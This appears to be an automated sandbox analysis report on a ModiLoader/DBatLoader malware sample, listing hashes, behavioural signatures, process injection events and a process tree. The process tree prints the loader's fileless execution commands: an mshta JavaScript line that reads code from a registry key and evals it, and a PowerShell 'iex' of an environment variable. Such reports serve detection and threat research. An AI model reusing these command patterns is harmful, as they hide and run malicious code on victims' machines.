Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
04-05-2024 08:26
Static task
static1
Behavioral task
behavioral1
Sample
11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
-
Target
11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe
-
Size
265KB
-
MD5
11e27faa8cf80aa4d6b08e31845211ff
-
SHA1
8e2706830d2f3d04f66746a342a5920a1ca04d76
-
SHA256
a49fa2fd171c274cfcdf1275eeee73052ac43e233951fdd84a1e2f9a8db57614
-
SHA512
c026e87bb28c505a37f41614f2d03690d3b7ff7c986483bb4f4aafe75cd9d466f4759080eebe4006fe6d6424b6fb2214c2a70c48f86b43f6f3f1263cfae8614e
-
SSDEEP
6144:veX94nYY+uUMFemOFu3Ksm2Yn+EE9j+ivEyPYxJQeH:OSnYPweZnl+EER+iv6IeH
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5028 2312 mshta.exe -
ModiLoader Second Stage 10 IoCs
Processes:
resource yara_rule behavioral2/memory/3680-4-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3680-2-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3680-5-0x0000000000400000-0x000000000043A000-memory.dmp modiloader_stage2 behavioral2/memory/3680-6-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 behavioral2/memory/3680-9-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 behavioral2/memory/3680-7-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 behavioral2/memory/3680-8-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 behavioral2/memory/3680-10-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 behavioral2/memory/3680-11-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 behavioral2/memory/3680-12-0x0000000000860000-0x0000000000936000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exedescription pid process target process PID 1948 set thread context of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4464 powershell.exe 4464 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4464 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exepid process 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exemshta.exedescription pid process target process PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 1948 wrote to memory of 3680 1948 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe 11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe PID 5028 wrote to memory of 4464 5028 mshta.exe powershell.exe PID 5028 wrote to memory of 4464 5028 mshta.exe powershell.exe PID 5028 wrote to memory of 4464 5028 mshta.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\11e27faa8cf80aa4d6b08e31845211ff_JaffaCakes118.exe"2⤵PID:3680
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:kjDPR0VM="rD";e6e6=new%20ActiveXObject("WScript.Shell");qcJAF5="CKIOJw";zc0YT=e6e6.RegRead("HKLM\\software\\Wow6432Node\\378PbP\\u1J3rt");zlS0IM="xG43b";eval(zc0YT);twaHAV4K="y";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ggudmrj2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82